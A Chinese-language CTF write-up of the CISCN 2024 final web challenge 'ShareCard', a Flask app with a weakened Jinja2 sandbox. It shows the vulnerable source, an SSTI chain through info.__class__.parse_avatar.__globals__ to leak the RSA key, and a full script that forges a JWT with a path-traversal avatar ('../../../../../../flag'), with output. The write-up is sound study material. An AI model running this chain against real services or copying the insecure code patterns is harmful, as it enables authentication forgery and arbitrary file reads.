Post

CISCN往年题的研究

Web与取证

CISCN往年题的研究

2024决赛 - Web - ShareCard

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from flask import Flask, request, url_for, redirect, current_app
from jinja2.sandbox import SandboxedEnvironment
from Crypto.PublicKey import RSA
from pydantic import BaseModel
from io import BytesIO
import qrcode
import base64
import json
import jwt
import os

class SaferSandboxedEnvironment(SandboxedEnvironment):
    def is_safe_attribute(self, obj, attr: str, value) -> bool:
        return True

    def is_safe_callable(self, obj) -> bool:
        return False

class Info(BaseModel):
    name: str
    avatar: str
    signature: str
    def parse_avatar(self):
        self.avatar = base64.b64encode(open('./avatars/'+self.avatar,'rb').read()).decode()

def safer_render_template(template_name, **kwargs):
    env = SaferSandboxedEnvironment(loader=current_app.jinja_env.loader)
    return env.from_string(open('./templates/'+template_name).read()).render(**kwargs)

app = Flask(__name__)
rsakey = RSA.generate(1024)

@app.route("/createCard", methods=["GET", "POST"])
def create_card():
    if request.method == "GET":
        return safer_render_template("create.html")
    if request.form.get('style')!=None:
        open('templates/style.css','w').write(request.form.get('style'))
    info=Info(**request.form)
    if info.avatar not in os.listdir('avatars'):
        raise FileNotFoundError
    token = jwt.encode(dict(info), rsakey.exportKey(), algorithm="RS256")
    share_url = request.url_root + url_for('show_card', token=token)
    qr_img = BytesIO()
    qrcode.make(share_url).save(qr_img,'png')
    qr_img.seek(0)
    share_img = base64.b64encode(qr_img.getvalue()).decode()
    return safer_render_template("created.html", share_url=share_url, share_img=share_img)

@app.route("/showCard", methods=["GET"])
def show_card():
    token = request.args.get("token")
    data = jwt.decode(token, rsakey.publickey().exportKey(), algorithms=jwt.algorithms.get_default_algorithms())
    info = Info(**data)
    info.parse_avatar()
    return safer_render_template("show.html", info=info)

@app.route("/", methods=["GET"])
def index():
    return redirect(url_for('create_card'))


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8888, debug=True)

Break

开头调用了Jinja2的沙箱API

1
2
3
4
5
6
class SaferSandboxedEnvironment(SandboxedEnvironment):
    def is_safe_attribute(self, obj, attr: str, value) -> bool:
        return True

    def is_safe_callable(self, obj) -> bool:
        return False

在Jinja2开发文档中可以看到(https://docs.jinkan.org/docs/jinja2/sandbox.html):

class jinja2.sandbox.SandboxedEnvironment([options])

The sandboxed environment. It works like the regular environment but tells the compiler to generate sandboxed code. Additionally subclasses of this environment may override the methods that tell the runtime what attributes or functions are safe to access.

If the template tries to access insecure code a SecurityError is raised. However also other exceptions may occour during the rendering so the caller has to ensure that all exceptions are catched.

  • is_safe_attribute(obj, attr, value)

The sandboxed environment will call this method to check if the attribute of an object is safe to access. Per default all attributes starting with an underscore are considered private as well as the special attributes of internal python objects as returned by the is_internal_attribute() function.

  • is_safe_callable(obj)

Check if an object is safely callable. Per default a function is considered safe unless the unsafe_callable attribute exists and is True. Override this method to alter the behavior, but this won’t affect the unsafe decorator from this module.

Jinja2 官方提供了一个子类:SandboxedEnvironment,它在编译模板时,做了一个极其核心的底层修改:AST(抽象语法树)拦截。正常环境:遇到 a.b,直接编译为 Python 底层的 getattr(a, 'b');而在沙箱环境:遇到 a.b,编译为沙箱的拦截函数 environment.getattr(a, 'b')

在这个拦截函数里,沙箱会去调用自己内部的一个方法:is_safe_attribute(obj, attr, value)。 如果这个方法返回 True,就允许访问;如果返回 False(比如发现你在访问 __class____globals__),就会直接抛出 SecurityError 异常,拒绝执行。

在这个题目中,出题人禁止函数调用,但不禁止属性调用,这意味着如果我们要沙箱逃逸,也只能读取某些关键信息,而不是RCE。

1
2
    if request.form.get('style')!=None:
        open('templates/style.css','w').write(request.form.get('style'))

代码的这部分出现了一个奇妙的信号:“w”,这代表templates/style.css是可以被写入的,而在templates/show.html存在:

1
2
3
<style>
{% include 'style.css' %}
</style>

def show_card()会在最后渲染这个show.html,这就是我们能控制的区域。我们可以通过写入style.css来执行恶意代码,然后进行render。

show_card()使用的渲染是一个自定义的安全渲染方式:

1
2
3
def safer_render_template(template_name, **kwargs):
    env = SaferSandboxedEnvironment(loader=current_app.jinja_env.loader)
    return env.from_string(open('./templates/'+template_name).read()).render(**kwargs)

在这之中,函数会把形参对象注入到虚拟沙箱环境中,这里的return safer_render_template("show.html", info=info)表示传入了一个info对象。

info对象没有办法直接与外界进行沟通,但是我们可以通过info.__class__获取它的基类,即<class 'Info'>,这个类是在沙箱外部的,然后我们可以利用Info的函数 def parse_avatar(self)获取全局:

1
info.__class__.parse_avatar.__globals__

至此,我们获取了全局。但是这里碰到了上文提到的问题,无法直接RCE,我们还注意到:

1
 return safer_render_template("created.html", share_url=share_url, share_img=share_img)

我们可以通过利用绑架share_img让其在show的时候不显示头像,而是显示flag。

所以思路就变成了用SSTI获取RSA密钥 –> 劫持并修改JWT。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import base64
from Crypto.PublicKey import RSA
import jwt
from pydantic import BaseModel

_n = "133165120431923924268829598513006212223235061100696215395006083237224404121755657375800636361600777708749238226307436481335072699194833749265854797855478826654677127708630188093912117310866377147530736334111769336466984416911197128185046089445396889220362435922190768503674202096282850802093115227910720739663"
_e = "65537"
_d = "14415706258922790709257209285089970657589529784535037451960009743204013088420522817067919619554912760491624509354651967940429006157655683147811940926784416185175073348980532336026950395064085785630380477140718371805705961798186299089315784702435295426286730730739347875863085434614114615569408030050947851073"

rsa_key = RSA.construct((int(_n), int(_e), int(_d)))
pem_key = rsa_key.export_key('PEM')
public_key = rsa_key.publickey().export_key('PEM')


class Info(BaseModel):
    name: str
    avatar: str
    signature: str

def forge_jwt(name, avatar, signature):
    info_t = Info(name=name, avatar=avatar, signature=signature)
    try:
        payload = info_t.model_dump()
    except AttributeError:
        payload = dict(info_t)

    token = jwt.encode(payload, pem_key, algorithm='RS256')
    return token

def decode_jwt(token):
    data = jwt.decode(token, public_key, algorithms=['RS256'])
    return data


if __name__ == '__main__':
    original_jwt = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiMTEiLCJhdmF0YXIiOiJcdWQ4M2VcdWRkMjEuc3ZnIiwic2lnbmF0dXJlIjoiNjY2In0.DIa-e4QR63hwnAG5mKjj-d39XtCifCbMp7MqK73yNb8PbCMgMHoo7gcGhcZN4TWVZ4ojt137o_TTr8_uGHJwLNNiFnZHSdNOTSxdQytmHhzphfobJeoorndmAHRRgqmltA-_0vH3U0wf9W-xkIuj12msZMopMFZ3Tq-ZJ7GyLtk"

    print("--- 1. 解码原始 JWT ---")
    decoded_data = decode_jwt(original_jwt)
    print(decoded_data)

    print("\n--- 2. 签发伪造的 JWT ---")
    hacker_jwt = forge_jwt(name="admin", avatar="../../../../../../flag", signature="hacked_by_lamaper")
    print(hacker_jwt)

    print("\n--- 3. 验证伪造的 JWT ---")
    print(decode_jwt(hacker_jwt))
1
2
3
4
5
6
7
8
9
10
11
12
--- 1. 解码原始 JWT ---
/mnt/e/CyberSecurity/ctf-py312-env/lib/python3.12/site-packages/jwt/api_jwt.py:371: InsecureKeyLengthWarning: The RSA key is 1024 bits long, which is below the minimum recommended size of 2048 bits. See NIST SP 800-131A.
  decoded = self.decode_complete(
{'name': '11', 'avatar': '🤡.svg', 'signature': '666'}

--- 2. 签发伪造的 JWT ---
/mnt/e/CyberSecurity/ctf-py312-env/lib/python3.12/site-packages/jwt/api_jwt.py:153: InsecureKeyLengthWarning: The RSA key is 1024 bits long, which is below the minimum recommended size of 2048 bits. See NIST SP 800-131A.
  return self._jws.encode(
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJhdmF0YXIiOiIuLi8uLi8uLi8uLi8uLi8uLi9mbGFnIiwic2lnbmF0dXJlIjoiaGFja2VkX2J5X2xhbWFwZXIifQ.OdLqo1UjfOPQu4AXF9IZvUEAfr81jsXCKDfYDCHR1JbFWL8mHf5b-T8nWbj3KVxxHQrtTUA2CxEkKtv9-bnFPKwcIQ-ivTN1LjUMFDMYIEo63AMNlpGDk92FHj3brvOd0FqSX56bj32RbFU1x3u0W8zKt8k3XFMU8IM99ik4ZPY

--- 3. 验证伪造的 JWT ---
{'name': 'admin', 'avatar': '../../../../../../flag', 'signature': 'hacked_by_lamaper'}
This post is licensed under CC BY 4.0 by the author.